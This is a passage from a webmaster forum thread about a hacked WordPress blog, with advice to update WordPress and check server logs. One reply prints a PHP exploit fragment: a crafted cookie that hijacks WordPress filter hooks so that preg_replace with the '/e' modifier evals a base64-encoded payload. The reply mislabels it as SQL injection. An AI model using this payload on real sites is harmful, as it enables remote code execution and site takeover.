Grrrrr my wordpress blog has been HACKED

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • woj
    <&(©¿©)&>
    • Jul 2002
    • 47880

    #51
    50 hackers....
    Custom Software Development, email: woj#at#wojfun#.#com to discuss details or skype: wojl2000 or gchat: wojfun or telegram: wojl2000
    Affiliate program tools: Hosted Galleries Manager Banner Manager Video Manager
    Wordpress Affiliate Plugin Pic/Movie of the Day Fansign Generator Zip Manager

    Comment

    • KCat
      Confirmed User
      • Sep 2002
      • 2204

      #52
      Make sure you install the updated version of Wordpress. You're not the first this has happened to & the exploit is quite well known now. Sucks though. I think Hallmark should put out a line of "Sorry for your data loss" cards. It can be heartbreaking!

      ~ 300+ FHGs, 100,000 pics to use plus a rockin' Video of the Day download! ~

      Comment

      • pornguy
        Too lazy to set a custom title
        • Mar 2003
        • 62910

        #53
        Check your server logs, and try to find out who did it.
        PornGuy skype me pornguy_epic

        AmateurDough The Hottes Shemales online!
        TChicks.com | Angeles Cid | Mariana Cordoba | MAILERS WELCOME!

        Comment

        • OG LennyT
          Wall Street Pimp
          • Jun 2003
          • 14345

          #54
          Originally posted by BLOG BURGLAR
          OWNED!

          MUHAHAHAHAHAAH!!!!


          Tradeking - my online broker | 4.95 a trade | make real $$

          Comment

          • tahiti
            Confirmed User
            • Oct 2003
            • 699

            #55
            Originally posted by Chio
            YARGH! Ah... Someone may have figured out the algo, and brute forced it.
            witch algo? it's just a md5 hash that must have been dump.
            or something like that:
            $str = base64_encode('args[0]=eval(base64_decode('.$cnv.')).die()&args[1]=x');

            $cookie='wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;';
            $cookie.='wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;';
            $cookie.='cache_lastpostmodified[server]=//e;cache_lastpostdate[server]=';
            $cookie.=$str;
            $cookie.=';wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;';
            $cookie.='wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;';
            $cookie.='wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;';

            simple sql injection
            -------------------------------
            Oliver Smith
            "Drunk Russian Hackers are Invincible"
            ASCII P0rn rules
            aim: olvrsmt
            icq: 21018030

            Comment

            Working...